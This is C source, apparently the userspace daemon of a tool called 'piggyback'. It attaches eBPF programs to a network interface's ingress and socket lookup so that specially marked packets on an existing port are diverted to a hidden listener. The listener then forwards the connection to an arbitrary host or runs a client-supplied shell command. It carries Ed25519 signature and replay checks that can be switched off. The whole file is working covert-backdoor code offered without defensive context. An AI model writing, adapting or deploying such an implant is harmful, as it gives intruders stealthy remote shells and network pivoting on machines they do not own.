static int replay_check_and_insert(uint32_t src_ip, uint64_t ts, const uint8_t *sig) {
pthread_mutex_lock(&replay_lock);
for (int i = 0; i < REPLAY_RING_SIZE; i++) {
struct replay_entry *e = &replay_ring[i];
if (e->src_ip == src_ip && e->timestamp == ts &&
memcmp(e->sig_prefix, sig, 8) == 0) {
pthread_mutex_unlock(&replay_lock);
return -1;
}
}
struct replay_entry *slot = &replay_ring[replay_head % REPLAY_RING_SIZE];
slot->src_ip = src_ip;
slot->timestamp = ts;
memcpy(slot->sig_prefix, sig, 8);
replay_head++;
pthread_mutex_unlock(&replay_lock);
return 0;
}
// ── Splice loop ───────────────────────────────────────────────────────────────
static void splice_loop(int a, int b) {
int epfd = epoll_create1(0);
if (epfd < 0) return;
struct epoll_event ev, evs[2];
ev.events = EPOLLIN | EPOLLERR | EPOLLHUP;
ev.data.fd = a; epoll_ctl(epfd, EPOLL_CTL_ADD, a, &ev);
ev.data.fd = b; epoll_ctl(epfd, EPOLL_CTL_ADD, b, &ev);
char buf[65536];
while (running) {
int n = epoll_wait(epfd, evs, 2, 1000);
for (int i = 0; i < n; i++) {
if (evs[i].events & (EPOLLERR | EPOLLHUP)) goto done;
int src = evs[i].data.fd;
int dst = (src == a) ? b : a;
ssize_t r = read(src, buf, sizeof(buf));
if (r <= 0) goto done;
ssize_t w = 0;
while (w < r) {
ssize_t s = write(dst, buf + w, r - w);
if (s <= 0) goto done;
w += s;
}
}
}
done:
close(epfd);
}
// ── Forward action ────────────────────────────────────────────────────────────
static void do_forward(int client_fd, const char *host, int port) {
struct addrinfo hints = { .ai_family = AF_UNSPEC, .ai_socktype = SOCK_STREAM };
struct addrinfo *res;
char port_str[8];
snprintf(port_str, sizeof(port_str), "%d", port);
if (getaddrinfo(host, port_str, &hints, &res) != 0) {
log_err("getaddrinfo(%s:%d) failed", host, port);
return;
}
int fwd_fd = socket(res->ai_family, SOCK_STREAM, 0);
if (fwd_fd < 0) { freeaddrinfo(res); return; }
if (connect(fwd_fd, res->ai_addr, res->ai_addrlen) < 0) {
log_err("connect to %s:%d: %s", host, port, strerror(errno));
close(fwd_fd);
freeaddrinfo(res);
return;
}
freeaddrinfo(res);
log_dbg("forwarding to %s:%d", host, port);
splice_loop(client_fd, fwd_fd);
close(fwd_fd);
}
// ── Shell action ──────────────────────────────────────────────────────────────
static void do_shell(int client_fd, const char *cmd) {
int in_pipe[2], out_pipe[2];
if (pipe(in_pipe) < 0 || pipe(out_pipe) < 0) return;
pid_t pid = fork();
if (pid < 0) return;
if (pid == 0) {
close(in_pipe[1]);
close(out_pipe[0]);
dup2(in_pipe[0], STDIN_FILENO);
dup2(out_pipe[1], STDOUT_FILENO);
dup2(out_pipe[1], STDERR_FILENO);
close(in_pipe[0]);
close(out_pipe[1]);
execl("/bin/sh", "/bin/sh", "-c", cmd, NULL);
_exit(1);
}
close(in_pipe[0]);
close(out_pipe[1]);
fcntl(in_pipe[1], F_SETFL, O_NONBLOCK);
fcntl(out_pipe[0], F_SETFL, O_NONBLOCK);
fcntl(client_fd, F_SETFL, O_NONBLOCK);
int epfd = epoll_create1(0);
struct epoll_event ev, evs[2];
ev.events = EPOLLIN | EPOLLERR | EPOLLHUP;
ev.data.fd = client_fd; epoll_ctl(epfd, EPOLL_CTL_ADD, client_fd, &ev);
ev.data.fd = out_pipe[0]; epoll_ctl(epfd, EPOLL_CTL_ADD, out_pipe[0], &ev);
char buf[65536];
while (running) {
int n = epoll_wait(epfd, evs, 2, 1000);
for (int i = 0; i < n; i++) {
if (evs[i].events & (EPOLLERR | EPOLLHUP)) goto shell_done;
int fd = evs[i].data.fd;
if (fd == out_pipe[0]) {
ssize_t r = read(out_pipe[0], buf, sizeof(buf));
if (r <= 0) goto shell_done;
write(client_fd, buf, r);
} else {
ssize_t r = read(client_fd, buf, sizeof(buf));
if (r <= 0) goto shell_done;
write(in_pipe[1], buf, r);
}
}
}
shell_done:
close(epfd);
close(in_pipe[1]);
close(out_pipe[0]);
}
// ── Dispatch thread ───────────────────────────────────────────────────────────
struct dispatch_args {
int client_fd;
uint8_t header[HEADER_LEN];
uint8_t header_valid;
};
static void *dispatch_thread(void *arg) {
struct dispatch_args *a = arg;
int client_fd = a->client_fd;
uint8_t action = ACTION_FORWARD;
char fwd_host[64];
int fwd_port;
strncpy(fwd_host, FWD_HOST, sizeof(fwd_host)-1);
fwd_port = FWD_PORT;
if (AUTH_ENABLED && a->header_valid) {
uint8_t *hdr = a->header;
uint64_t ts = 0;
for (int i = 0; i < 8; i++) ts = (ts << 8) | hdr[HDR_TIMESTAMP_OFF + i];
uint64_t now = (uint64_t)time(NULL);
if (ts > now + TIMESTAMP_WINDOW || ts < now - TIMESTAMP_WINDOW) {
log_err("timestamp out of window, rejecting");
goto reject;
}
uint8_t msg[HDR_MSG_LEN];
memcpy(msg, hdr, 16);
memcpy(msg + 16, server_ip_bytes, 4);
if (crypto_sign_ed25519_verify_detached(
hdr + HDR_SIG_OFF, msg, HDR_MSG_LEN, trusted_pubkey) != 0) {
log_err("Ed25519 signature invalid, rejecting");
goto reject;
}
uint32_t src_ip32;
memcpy(&src_ip32, server_ip_bytes, 4);
if (replay_check_and_insert(src_ip32, ts, hdr + HDR_SIG_OFF) != 0) {
log_err("replay detected, rejecting");
goto reject;
}
action = hdr[HDR_ACTION_OFF];
if (action == ACTION_FORWARD) {
uint8_t *ip = hdr + HDR_TARGET_IP_OFF;
snprintf(fwd_host, sizeof(fwd_host), "%d.%d.%d.%d",
ip[0], ip[1], ip[2], ip[3]);
fwd_port = (hdr[HDR_TARGET_PORT_OFF] << 8) | hdr[HDR_TARGET_PORT_OFF + 1];
}
log_dbg("auth OK: action=0x%02x", action);
} else if (AUTH_ENABLED && !a->header_valid) {
log_err("auth required but no valid header, rejecting");
goto reject;
}
if (action == ACTION_FORWARD) {
log_info("forward → %s:%d", fwd_host, fwd_port);
do_forward(client_fd, fwd_host, fwd_port);
} else if (action == ACTION_SHELL) {
char cmd[1024] = "bash";
ssize_t r = read(client_fd, cmd, sizeof(cmd)-1);
if (r > 0) cmd[r] = '\0';
log_info("shell: %s", cmd);
do_shell(client_fd, cmd);
} else {
log_err("unknown action 0x%02x, rejecting", action);
}
close(client_fd);
free(a);
return NULL;
reject:
close(client_fd);
free(a);
return NULL;
}
// ── Ring buffer event handler ─────────────────────────────────────────────────
static int handle_event(void *ctx __attribute__((unused)), void *data, size_t sz __attribute__((unused))) {
struct event *e = data;
char src_str[INET6_ADDRSTRLEN];
if (e->is_ipv6)
inet_ntop(AF_INET6, e->src_ip, src_str, sizeof(src_str));
else
inet_ntop(AF_INET, e->src_ip, src_str, sizeof(src_str));
log_info("magic from %s:%d (flags=0x%02x header_valid=%d)",
src_str, ntohs(e->src_port), e->flags, e->header_valid);
struct sockaddr_storage peer;
socklen_t plen = sizeof(peer);
int client_fd = accept(accept_fd, (struct sockaddr *)&peer, &plen);
if (client_fd < 0) {
log_err("accept: %s", strerror(errno));
return 0;
}
struct dispatch_args *a = malloc(sizeof(*a));
if (!a) { close(client_fd); return 0; }
a->client_fd = client_fd;
a->header_valid = e->header_valid;
memcpy(a->header, e->header, HEADER_LEN);
pthread_t tid;
pthread_create(&tid, NULL, dispatch_thread, a);
pthread_detach(tid);
return 0;
}
// ── TC attachment ─────────────────────────────────────────────────────────────
static int attach_tc(struct bpf_program *prog) {
DECLARE_LIBBPF_OPTS(bpf_tc_hook, hook,
.ifindex = ifindex,
.attach_point = BPF_TC_INGRESS,
);
DECLARE_LIBBPF_OPTS(bpf_tc_opts, opts,
.handle = 1,
.priority = 1,
.prog_fd = bpf_program__fd(prog),
);
bpf_tc_hook_create(&hook);
if (bpf_tc_attach(&hook, &opts) < 0) {
log_err("bpf_tc_attach: %s", strerror(errno));
return -1;
}
log_info("TC attached to %s ingress", iface_name);
return 0;
}
static void detach_tc(void) {
DECLARE_LIBBPF_OPTS(bpf_tc_hook, hook,
.ifindex = ifindex,
.attach_point = BPF_TC_INGRESS,
);
bpf_tc_hook_destroy(&hook);
log_info("TC detached");
}
// ── sk_lookup attachment ──────────────────────────────────────────────────────
static int sklookup_link_fd = -1;
static int attach_sklookup(struct bpf_program *prog) {
int netns_fd = open("/proc/self/ns/net", O_RDONLY);
if (netns_fd < 0) { log_err("open netns: %s", strerror(errno)); return -1; }
struct bpf_link *link = bpf_program__attach_netns(prog, netns_fd);
close(netns_fd);
if (!link) { log_err("attach sk_lookup: %s", strerror(errno)); return -1; }
sklookup_link_fd = bpf_link__fd(link);
log_info("sk_lookup attached to netns");
return 0;
}
// ── Stats ─────────────────────────────────────────────────────────────────────
static void dump_stats(void) {
int map_fd = bpf_object__find_map_fd_by_name(obj, "stats");
if (map_fd < 0) return;
uint64_t v; uint32_t k;
k=0; bpf_map_lookup_elem(map_fd, &k, &v); log_info(" total : %" PRIu64, v);
k=1; bpf_map_lookup_elem(map_fd, &k, &v); log_info(" magic : %" PRIu64, v);
k=2; bpf_map_lookup_elem(map_fd, &k, &v); log_info(" passed : %" PRIu64, v);
k=3; bpf_map_lookup_elem(map_fd, &k, &v); log_info(" partial : %" PRIu64, v);
}
// ── Signal ────────────────────────────────────────────────────────────────────
static void on_signal(int sig __attribute__((unused))) { running = 0; }
// ── Main ──────────────────────────────────────────────────────────────────────
int main(void) {
if (sodium_init() < 0) { log_err("libsodium init failed"); return 1; }
inet_pton(AF_INET, SERVER_IP, server_ip_bytes);
signal(SIGINT, on_signal);
signal(SIGTERM, on_signal);
signal(SIGPIPE, SIG_IGN);
if (strlen(IFACE) > 0) {
strncpy(iface_name, IFACE, sizeof(iface_name)-1);
} else {
if (get_default_iface(iface_name, sizeof(iface_name)) != 0) {
log_err("could not detect default interface — set IFACE in source");
return 1;
}
log_info("auto-detected interface: %s", iface_name);
}
ifindex = if_nametoindex(iface_name);
if (!ifindex) { log_err("interface '%s' not found", iface_name); return 1; }
if (AUTH_ENABLED)
log_info("Ed25519 auth enabled");
else
log_info("WARNING: AUTH_ENABLED=0 — accepting without signature check");
// ── SO_REUSEPORT accept socket ────────────────────────────────────────────
accept_fd = socket(AF_INET6, SOCK_STREAM, 0);
if (accept_fd < 0) accept_fd = socket(AF_INET, SOCK_STREAM, 0);
if (accept_fd < 0) { log_err("socket: %s", strerror(errno)); return 1; }
int yes = 1;
setsockopt(accept_fd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(yes));
setsockopt(accept_fd, SOL_SOCKET, SO_REUSEPORT, &yes, sizeof(yes));
struct sockaddr_in6 laddr = {
.sin6_family = AF_INET6,
.sin6_port = htons(LISTEN_PORT),
.sin6_addr = IN6ADDR_ANY_INIT,
};
if (bind(accept_fd, (struct sockaddr *)&laddr, sizeof(laddr)) < 0) {
struct sockaddr_in la4 = {
.sin_family = AF_INET,
.sin_port = htons(LISTEN_PORT),
.sin_addr.s_addr = INADDR_ANY,
};
if (bind(accept_fd, (struct sockaddr *)&la4, sizeof(la4)) < 0) {
log_err("bind port %d: %s", LISTEN_PORT, strerror(errno));
return 1;
}
}
if (listen(accept_fd, 64) < 0) { log_err("listen: %s", strerror(errno)); return 1; }
// ── Load eBPF ─────────────────────────────────────────────────────────────
obj = bpf_object__open("piggyback.bpf.o");
if (!obj) { log_err("bpf_object__open failed"); return 1; }
if (bpf_object__load(obj)) { log_err("bpf_object__load failed"); return 1; }
int sock_map_fd = bpf_object__find_map_fd_by_name(obj, "daemon_sock");
if (sock_map_fd >= 0) {
uint32_t key = 0;
uint32_t val = (uint32_t)accept_fd;
bpf_map_update_elem(sock_map_fd, &key, &val, BPF_ANY);
}
struct bpf_program *tc_prog = bpf_object__find_program_by_name(obj, "piggyback_ingress");
if (!tc_prog) { log_err("TC program not found"); return 1; }
if (attach_tc(tc_prog) < 0) return 1;
struct bpf_program *sk_prog = bpf_object__find_program_by_name(obj, "piggyback_lookup");
if (sk_prog && attach_sklookup(sk_prog) < 0)
log_info("sk_lookup attach failed — SYN-level steering disabled");
int rb_fd = bpf_object__find_map_fd_by_name(obj, "events");
struct ring_buffer *rb = ring_buffer__new(rb_fd, handle_event, NULL, NULL);
if (!rb) { log_err("ring_buffer__new failed"); return 1; }
log_info("piggyback running on %s port %d → %s:%d",
iface_name, LISTEN_PORT, FWD_HOST, FWD_PORT);
while (running)
ring_buffer__poll(rb, 100);
log_info("shutting down...");
dump_stats();
detach_tc();
ring_buffer__free(rb);
bpf_object__close(obj);
close(accept_fd);
return 0;
}